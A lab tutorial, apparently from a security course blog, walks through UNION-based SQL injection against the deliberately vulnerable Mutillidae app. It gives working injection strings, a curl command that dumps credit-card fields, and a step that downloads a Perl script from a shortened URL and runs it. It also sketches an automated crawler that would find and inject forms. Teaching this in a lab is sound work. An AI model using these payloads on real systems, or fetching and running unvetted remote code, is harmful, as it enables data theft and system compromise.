{ SQL Injection Union  Exploit #1 }
         |     Section 0. Background      Information |    
- What is Mutillidae?
- OWASP Mutillidae II is a free, open source,   deliberately vulnerable web-application providing a target for web-security   enthusiast.
 
 - What is a SQL Injection?
- SQL injection (also known as SQL fishing) is a   technique often used to attack data driven applications.
 - This is done by including portions of SQL   statements in an entry field in an attempt to get the website to pass a   newly formed rogue SQL command to the database (e.g., dump the database   contents to the attacker). SQL injection is a code injection technique that   exploits a security vulnerability in an application's software. 
 - The vulnerability happens when user input is   either incorrectly filtered for string literal escape characters embedded in   SQL statements or user input is not strongly typed and unexpectedly   executed. SQL injection is mostly known as an attack vector for websites but   can be used to attack any type of SQL database.
 
 - What is cURL?
- cURL stands for "Client URL Request Library".
 - This is a command line tool for getting or   sending files using URL syntax. 
 - It supports a range of common Internet   protocols, currently including HTTP, HTTPS, FTP, FTPS, SCP, SFTP, TFTP, LDAP,   LDAPS, DICT, TELNET, FILE, IMAP, POP3, SMTP and RTSP.
 - (Damn Beautiful Tool in my opinion)
 
 - What is Burp Suite?
- Burp Suite is a Java application that can    be used to secure or crack web applications. The suite consists of    different tools, such as a proxy server, a web spider, an intruder and a    so-called repeater, with which requests can be automated. 
 - When Burp suite is used as a proxy server    and a web browser uses this proxy server, it is possible to have control    of all traffic that is exchanged between the web browser and web    servers. Burp makes it possible to manipulate data before it is sent to    the web server.
 
 - Pre-Requisite Lab
-   Mutillidae: Lesson 1: How to Install Mutillidae in Fedora 
- Note:     Remote database access has been turned on to provide an additional     vulnerability.
 
 -   BackTrack: Lesson 1: Installing BackTrack 5 
- Note:     This is not absolutely necessary, but if you are a computer security     student or professional, you should have a BackTrack VM.
 
 
 -  Lab   Notes
- In this lab we will do the following:
- Due to a purposely bug in the user-info.php     code, we will use a Union SQL Injection to obtain nowasp     application pretend credit card information.
 - We will use Burpsuite to capture the     POST DATA string.
 - We will use curl to simulate web     browsing without using a web browser.
 - We will use simple perl program to     parse the curl results.
 
 
 
- Legal Disclaimer - bài lab chỉ dùng cho mục đích học tập
 
       |     Section 1.      Configure Fedora14 Virtual Machine Settings |    
- Open Your VMware Player
- Instructions:
- On Your Host Computer, Go To
 - Start --> All Program --> VMWare --> VMWare Player
 
 
 - Edit Fedora Mutillidae Virtual Machine Settings
- Instructions:
- Highlight fedora14
 - Click Edit virtual machine settings
 
 
 - Edit Network Adapter
 - Instructions:
- Highlight Network Adapter
 - Select Bridged
 - Click the OK Button
 
 
          |     Section 2.      Login to Fedora14 - Mutillidae |    
- Start Fedora14 VM Instance
- Instructions:
- Start Up VMWare Player
 - Select Fedora14 - Mutillidae
 - Play virtual machine
 
 
 - Login to Fedora14 - Mutillidae
- Instructions:
- Login: student
 - Password: <whatever you set     it to>.
 
 -   

 
 
          |     Section 3.      Open Console Terminal and Retrieve IP Address |    
- Start a Terminal Console
- Instructions:
- Applications --> Terminal
 
 
 - Switch user to root
- Instructions:
- su - root
 - <Whatever you set the root password to>
 
 -   

 
 - Get IP Address
- Instructions:
- ifconfig -a
 
 - Notes (FYI):
- As indicated below, my IP address is    192.168.1.111.
 - Please record your IP address.
 
 
 
          |     Section 4. Configure      BackTrack Virtual Machine Settings |    
- Edit the BackTrack5R1 VM 
- Instructions:    
- Select BackTrack5R1 VM
 - Click Edit virtual machine settings
 
 
 - Edit Virtual Machine Settings 
- Instructions:    
- Click on Network Adapter 
 - Click on the Bridged Radio button     
 - Click on the OK Button
 
 
 
          |     Section 5. Play and      Login to BackTrack |    
- Play the BackTrack5R1 VM 
- Instructions:    
- Click on the BackTrack5R1 VM
 - Click on Play virtual machine
 
 
 - Login to BackTrack 
- Instructions:    
- Login: root 
 - Password: toor or <whatever you changed     it to>. 
 
 
 
 - Bring up the GNOME 
- Instructions:    
- Type startx 
 
 
 
 
          |     Section 6.      Open Console Terminal and Retrieve IP Address |    
- On BackTrack, Start up a terminal window 
- Instructions:    
- Click on the Terminal Window     
 
 
 - Obtain the IP Address 
- Instructions:    
- ifconfig -a 
 
 - Note(FYI):    
- My IP address 192.168.1.109.    
 - In your case, it will probably be     different. 
 - This is the machine that will be use to     attack the victim machine (Metasploitable). 
 
 
 
          |     Section 7. Database      Union Explanation |    
- On Fedora 14 - Mutillidae
- Notes (FYI):
- Use your existing Terminal you opened in    (Section 3, Step 1).
 
 - Instructions:
- su - root
 - mysql -uroot -psamurai
 - show databases;
 - use nowasp;
 
 
 - Show Tables
- Instructions:
- show tables;
 
 - Notes (FYI):
- show tables, list all the tables in the     particular DATABASE.
 
 
 - Show Tables
- Instructions:
- desc accounts;
 - desc credit_cards;
 
 - Notes (FYI):
- desc accounts, show the accounts TABLE     fields.
 - desc credit_cards, show the     credit_cards TABLE fields.
 
 
 - Table Union
- Instructions:
- select * from accounts union     select ccid,ccnumber,ccv,expiration,null from credit_cards;
 
 - Notes (FYI):
- UNION is used to combine the result     from multiple SELECT statements into a single result set.
 - The UNION operator is ALSO used in SQL     injections to join a query, purposely forged by the tester, to the     original query. The result of the forged query will be joined to the     result of the original query, allowing the tester to obtain the     values of fields of other tables.
 - We will later use this technique in     (Section 14, Step 4).
 
 
 
          |     Section 8. Start Web      Browser Session to Mutillidae |    
- On BackTrack, Open Firefox
- Instructions:
- Click on the Firefox Icon
 
 - Notes (FYI):
- If FireFox Icon does not exist in the Menu    Bar Tray, then go to Applications --> Internet --> Firefox Web Browser
 
 
 - Open Mutillidae
- Notes (FYI):
- Replace   192.168.1.111    in the following URL --> http://192.168.1.111/mutillidae, with your    Mutillidae's IP Address obtained from (Section 3, Step 3)
 
 - Instructions:
- http://192.168.1.111/mutillidae
 
 
 
          |     Section 9. Go To      User Info Page |    
- Go to User Info
- Instructions:
- OWASP Top 10 --> A1 - SQL Injection     --> SQLi - Extract Data --> User Info
 
 
 
          |     Section 10. Configure      Firefox Proxy Settings |    
- View Preferences
- Instructions:
- Edit --> Preferences 
 
 
 - Advanced Settings...
- Instructions:
- Click on the Advanced Icon
 - Click on the Network Tab
 - Click on the Setting... button
 
 
  - Connection Settings
- Instructions:
- Click on Manual proxy configurations
 - Type "127.0.0.1" in the HTTP Proxy Text     Box
 - Type "8080" in the Port Text Box
 - Check Use the proxy server for all     protocols
 - Click OK
 - Click Close
 
 
 
          |     Section 11.      Configure Burpsuite Settings |    
- Start Burp Suite
- Instructions:
- Applications --> BackTrack -->     Vulnerability Assessment --> Web Application Assessment ---> Web     Vulnerability Proxies --> burpsuite
 
 
 - JRE Message
- Instructions:
- Click OK
 
 
 - Configure proxy
- Instructions:
- Click on the proxy tab
 - Click on the options tab
 - Verify the port is set to 8080
 
 
 - Turn on intercept
- Instructions:
- Click on the proxy tab
 - Click on the intercept tab
 - Verify the intercept button shows     "intercept is off"
 
 
 
          |     Section 12. SQL      Injection (Union Example #1) |    
- Inspect the Name Textbox with Firebug
- Instructions:
- Right click on the Name Textbox
 - Click on Inspect Element
 
 
 - Change Text Box Size
- Instructions:
- After the string "size=", Change 20 to     100. (See Picture)
 - Click on the Close Button
 
 
 - First Union SQL Injection Attempt
- Instructions:
- In the Name Textbox place the following     string.  Remember to put a space after the "-- ".
 - Click the View Account Details button
 
 - Note(FYI):
- Remember to put a space after the    --       
 
 
 - SQL Error
- Note(FYI):
- Scroll down and notice the SQL Error.
 - Point #1, developers should never     display MySQL and Debug statements in results.
 - Point #2, MySQL is actually telling us     that we do not have the correct number of column that match up with     the union statement.
 
 - Instructions:
- Read the Error Message.
 - Click the Back Arrow.
 
 
 
          |     Section 13. SQL      Injection (Union Example #2) |    
- Inspect the Name Textbox with Firebug
- Instructions:
- Right click on the Name Textbox
 - Click on Inspect Element
 
 
 - Change Text Box Size
- Instructions:
- After the string "size=", Change 20 to     100. (See Picture)
 - Click on the Close Button
 
 
 - Second Union SQL Injection Attempt
- Instructions:
- In the Name Textbox place the following     string.  Remember to put a space after the "-- ".
-     '      union select null,null,null,null,null -- 
 
 - Click the View Account Details button
 
 - Note(FYI):
- In reality, we would not know that the     accounts table has 5 fields without sequentially adding a null value     until you get back results without an error.
 
 
 - Viewing the Results
- Note(FYI):
- Scroll down and notice there is not an     SQL error.
 - More importantly, notice application     returned
- username=
 - password=
 - signature=
 
 - At first glance this does not look like     much.  However, we established a potential way to retrieve data     from the database outside of the application's original intent.
 
 - Instructions:
- View the Results
 - Click the Back Arrow.
 
 
 
          |     Section 14. SQL      Injection (Union Example #3) |    
- Inspect the Name Textbox with Firebug
- Instructions:
- Right click on the Name Textbox
 - Click on Inspect Element
 
 
 - Change Text Box Size
- Instructions:
- After the string "size=", Change 20 to     100. (See Picture)
 - Click on the Close Button
 
 
 - Second Union SQL Injection Attempt
- Instructions:
- In the Name Textbox place the following     string.  Remember to put a space after the "-- ".
-     '      union select 1,2,3,4,5 -- 
 
 - Click the View Account Details button
 
 - Note(FYI):
- The goal with this union statement is     to map out which fields in the database align with the above numbers     when the output is displayed.
 
 
 - Viewing the Results
- Note(FYI):
- Scroll down and notice that Username is     populated with 2, Password is populated with 3, and Signature is     populated with 4.
- Username=2
 - Password=3
 - Signature=4
 
 - So, we know that Username is the second     table field, Password is the third table field, and Signature is the     forth table field.
 
 - Instructions:
- View the Results
 - Click the Back Arrow.
 
 
 
          |     Section 15. SQL      Injection (Union Example #4) |    
- Inspect the Name Textbox with Firebug
- Instructions:
- Right click on the Name Textbox
 - Click on Inspect Element
 
 
 - Change Text Box Size
- Instructions:
- After the string "size=", Change 20 to     100. (See Picture)
 - Click on the Close Button
 
 
 - Second Union SQL Injection Attempt
- Instructions:
- In the Name Textbox place the following     string.  Remember to put a space after the "-- ".
-     ' union select      ccid,ccnumber,ccv,expiration,null from credit_cards --     
 
 - Click the View Account Details button
 
 - Note(FYI):
- The goal with this union statement is     to map out which fields in the database align with the above numbers     when the output is displayed.
 
 
 - Viewing the Results
- Note(FYI):
- Scroll down and notice that Username is     populated with a credit card number, Password is populated with the     CCV, and Signature is populated with the expiration.
- Username=4444111122223333
 - Password=745
 - Signature=2012-03-01
 
 - Congrats, you successful manipulated a     "purposeful" bug in the user-info.php script, to display credit card     information using a query meant for the accounts table.
 
 - Instructions:
- View the Results
 
 
 
          |     Section 16. SQL      Injection (Union Example with Curl #5) |    
- View Post Data (With Burp Suite)
- Instructions:
- Click on the Proxy Tab
 - Click on the History Tab
 - Scroll down to the bottom, and click on the line that contains -->    /mutillidae/index.php?page=user-info.php
 - Click on the Request Tab
 - Click on the Raw Tab
 - View the GET Data String
- Later we will populate curl with      this URL string.
 
 
 - Note(FYI):
- /mutillidae/index.php?page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Cccv%2Cexpiration%2Cnull+from+credit_cards+--+&password=&user-info-php-submit-button=View+Account+Details
 - The encoded sql injection -->    %27+or+1%3D1--+
-     %27 is a      single quote (')
 -     %2C      is a comma (,)
 -     +      is a space
 -     %3D      is a equal sign (=)
 
 
 
 - Use Curl to Display Usernames and Passwords
- Note(FYI):
- I apologize ahead of time for the below     mess.  Match up the colors with the explanations.
 - Replace       192.168.1.111 with Mutillidae's IP Address obtained from     (Section 3, Step 3).
 
 - Instructions:
- Populate a BackTrack Terminal Windows with     the below curl command.
- curl -b crack_cookies.txt -c     crack_cookies.txt --user-agent "Mozilla/4.0 (compatible; MSIE 5.01;     Windows NT 5.0)" --data "page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Cccv%2Cexpiration%2Cnull+from+credit_cards+--+&password=&user-info-php-submit-button=View+Account+Details"     --location "http://192.168.1.111/mutillidae/index.php"     | grep -i     "Username=" |     awk 'BEGIN{FS="<"}{for     (i=1; i<=NF; i++) print $i}' |     awk -F\>     '{print $2}'
 
 
 - Note(FYI):
- --data "page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Cccv%2Cexpiration%2Cnull+from+credit_cards+--+&password=&user-info-php-submit-button=View+Account+Details"
- This is the URL POST DATA string we      obtained from (Section 14, Step 3). 
 
 - --location "http://192.168.1.111/mutillidae/index.php"       
- This is the actual webpage script that      handles the common gateway interface (CGI) between the web      browser and server.
 
 -    awk 'BEGIN{FS="<"}{for     (i=1; i<=NF; i++) print $i}'
- Use the "<" character as a delimiter or      field separator and print each array element on a separate line
 
 -    grep -i     "Username="
- Display lines that only have the string      "Username=".  Remember that the web output from (Section      11, Step 2) contained "Username="
 
 -    awk -F\>     '{print $2}'
- Use ">" as a delimiter and only print      the output from the second field.
 
 
 
 
   - Create Output File
- Note(FYI):
- Replace       192.168.1.111 with Mutillidae's IP Address obtained from     (Section 3, Step 3).
 
 - Instructions:
- cd /root
 - curl -b crack_cookies.txt -c     crack_cookies.txt --user-agent "Mozilla/4.0 (compatible; MSIE 5.01;     Windows NT 5.0)" --data  "page=user-info.php&username=%27+union+select+ccid%2Cccnumber%2Cccv%2Cexpiration%2Cnull+from+credit_cards+--+&password=&user-info-php-submit-button=View+Account+Details"      --location "http://192.168.1.111/mutillidae/index.php"     | grep -i     "Username="  > lesson8.txt
 - cat lesson8.txt
 
 
 - Download Output Parser
- Instructions:
- cd /root
 - wget http://goo.gl/pUoZak
 - mv lesson8.pl.TXT lesson8.pl
 - chmod 700 lesson8.pl
 
 
 - Run Perl Script
- Instructions:
- ./lesson8.pl
 
 - Note(FYI):
- So lets put the pieces together.     Imagine a web crawler that does nothing but curl webpages for the     string "form" that have this particular UNION     vulnerability.  If the string "form" is found, then try     a simple UNION SQL injection like (' union null-- ).  Then it     would recursively append null to the end of the union clause until,     no more SQL errors are present.
 
 
 
   |   Section 18. Restore Firefox Original Proxy Configurations |  
- On BackTrack, Open Firefox
- Instructions:
- Click on the Firefox Icon
 
 - Notes (FYI):
- If FireFox Icon does not exist in the     Menu Bar Tray, then go to Applications --> Internet --> Firefox Web     Browser
 
 
 - Firefox Preferences
- Instructions:
- Edit --> Preferences
 
 
 - Advanced Settings...
- Instructions:
- Click on the Advanced Icon
 - Click on the Network Tab
 - Click on the Setting... button
 
 
 - Connection Settings
- Instructions:
- Click on the No proxy radio button
 - Click on the OK button
 - Click on the Close button
 
 
 
   - Proof of Lab, (On a BackTrack Terminal)
- Instructions:
- cd /root
 - ls -l lesson8.txt
 - ./lesson8.pl | head -3
 - date
 - echo "Your Name"
- Replace the string "Your Name" with      your actual name.
 - e.g., echo "John Gray"
 
 
 -   Proof of Lab Instructions:
- Do a PrtScn
 - Paste into a word document
 - Upload to website www.antoanthongtin.edu.vn 
 
 -   

 
 
 
0 nhận xét:
Đăng nhận xét